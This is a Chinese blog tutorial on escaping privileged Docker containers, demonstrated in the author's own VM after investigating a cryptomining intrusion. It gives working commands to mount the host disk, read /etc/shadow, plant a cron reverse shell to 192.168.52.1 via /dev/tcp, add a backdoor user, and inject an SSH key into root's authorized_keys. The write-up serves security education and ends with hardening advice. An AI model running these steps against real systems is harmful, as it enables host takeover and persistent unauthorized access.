前言
在一次对被黑客入侵的服务器进行相关排查,根据相关排查发现在宿主机上不仅存在“挖矿”进程运行,在 Docker 容器内也存在挖矿进程运行,排查时发现 Docker 容器使用了 Privileged 特权模式启动,遂本文就根据此情形简单写一篇关于 Privileged 特权模式下的容器逃逸。
Privileged 特权启动容器
如果容器在启动时添加了 --privileged
参数则会具备全部 Capabilities ,容器可以访问主机所有 device
以及具有 mount
操作的权限,还包括禁用 Seccomp
和 AppArmor
等安全机制。所以,特权容器几乎拥有所有设备的访问权限,可以通过一些设置来达到从容器内部和从外部访问相同的效果。例如我们可以基于该特权模式实现 Docker run in Docker ,其相关文章可参考:docker-can-now-run-within-docker
注:本文在个人虚拟机中演示,虚拟机系统为 CentOS 7
,不同 Linux 系统可能部分命令操作不太一样,但原理相同,下面开始实战演示。
容器启动
首先使用 Privileged
特权模式创建并启动一个容器:
docker run --rm -it --privileged=true alpine:latest
权限检测
在容器内部执行下面的命令,重点看下特权容器中获取的 Cap 集合,从而判断容器是不是特权模式,如果是以特权模式启动的话,其 CapEff
对应的掩码值应该为 0000003fffffffff
或是 0000001fffffffff
,如下:
/ # cat /proc/self/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000001fffffffff
CapEff: 0000001fffffffff
CapBnd: 0000001fffffffff
CapAmb: 0000000000000000
/ #
CapEff
主要是检查线程的执行权限,可以在装有 Docker 的机器上执行命令capsh --decode=0000001fffffffff
进行解码,并根据该文章特权容器判断相关权限集合。
逃逸复现
方法一
查看挂载磁盘设备:
/ # fdisk -l
Disk /dev/sda: 60 GB, 64424509440 bytes, 125829120 sectors
7832 cylinders, 255 heads, 63 sectors/track
Units: sectors of 1 * 512 = 512 bytes
Device Boot StartCHS EndCHS StartLBA EndLBA Sectors Size Id Type
/dev/sda1 * 0,32,33 130,170,40 2048 2099199 2097152 1024M 83 Linux
/dev/sda2 130,170,41 1023,254,63 2099200 41943039 39843840 18.9G 8e Linux LVM
/dev/sda3 562,212,35 844,63,51 41943040 62914559 20971520 10.0G 8e Linux LVM
/dev/sda4 844,63,52 664,127,39 62914560 125829119 62914560 30.0G 8e Linux LVM
Disk /dev/dm-0: 57 GB, 61190701056 bytes, 119513088 sectors
7439 cylinders, 255 heads, 63 sectors/track
Units: sectors of 1 * 512 = 512 bytes
Disk /dev/dm-0 doesn't contain a valid partition table
Disk /dev/dm-1: 2048 MB, 2147483648 bytes, 4194304 sectors
261 cylinders, 255 heads, 63 sectors/track
Units: sectors of 1 * 512 = 512 bytes
Disk /dev/dm-1 doesn't contain a valid partition table
/ #
将宿主机文件挂载到 /mnt
目录下:
mount /dev/dm-0 /mnt
尝试访问宿主机 /etc/shadow
文件,可以看到正常访问:
/ # cat /mnt/etc/shadow
root:$6$xx$axxxxxxxx:18966:0:99999:7:::
bin:*:18353:0:99999:7:::
daemon:*:18353:0:99999:7:::
……
那么也可以在定时任务中写入反弹 Shell:
/ # echo "*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.52.1/2023 0>&1" > /mnt/var/spool/cron/root
等待约 1 分钟,即可收到宿主机的反弹 Shell ,如图:
取消宿主机文件挂载:
umount /mnt
方法二
该方法可利用 chroot
命令进行切根,并创建一个登陆用户,从而使用新增用户登录系统,命令如下:
# 挂载宿主机文件
/ # mount /dev/dm-0 /mnt
/ #
# chroot 切根
/ # chroot /mnt
[root@3209e48fe515 /]#
# 添加 test 用户
[root@3209e48fe515 /]# useradd test
[root@3209e48fe515 /]#
# 给 test 用户设置密码:test
[root@3209e48fe515 /]# echo "test" | passwd test --stdin
Changing password for user test.
passwd: all authentication tokens updated successfully.
[root@3209e48fe515 /]#
下面即可使用 ssh
对宿主机进行链接,如下图:
退出 chroot 环境并取消宿主机文件挂载:
[root@3209e48fe515 /]# exit
exit
/ # umount /mnt
/ #
方法三
此方法主要是写入 SSH
公私钥的方式实现无密码登录,操作命令如下:
# 容器内的用户为 root
/ # whoami
root
# 挂载宿主机文件到容器内
/ # mount /dev/dm-0 /mnt
# 宿主机存在 authorized_keys 文件
/ # ls /mnt/root/.ssh/
authorized_keys known_hosts
# 写入 SSH 公钥到 root 用户的 authorized_keys 文件中
/ # echo "ssh-rsa AAAAB3NxxxxxxxxxSc= kali@kali" >> /mnt/root/.ssh/authorized_keys
/ #
下面使用 SSH 私钥对其进行用户登录,如图:
小结
此处仅说明了 Docker 容器下启用 Privileged 特权模式容器逃逸的部分方法,还有例如通过访问主机上的 Docker 套接字(通常是 /var/run/docker.sock
)来与 Docker 守护程序进行通信,从而执行 Docker 操作等以及其它的方法。一个容器若使用了特权模式,那么它将会以很高的权限运行,所以非必要情况不要对容器使用特权模式运行,即使使用,也要做好相关安全措施。
1 条评论
棒的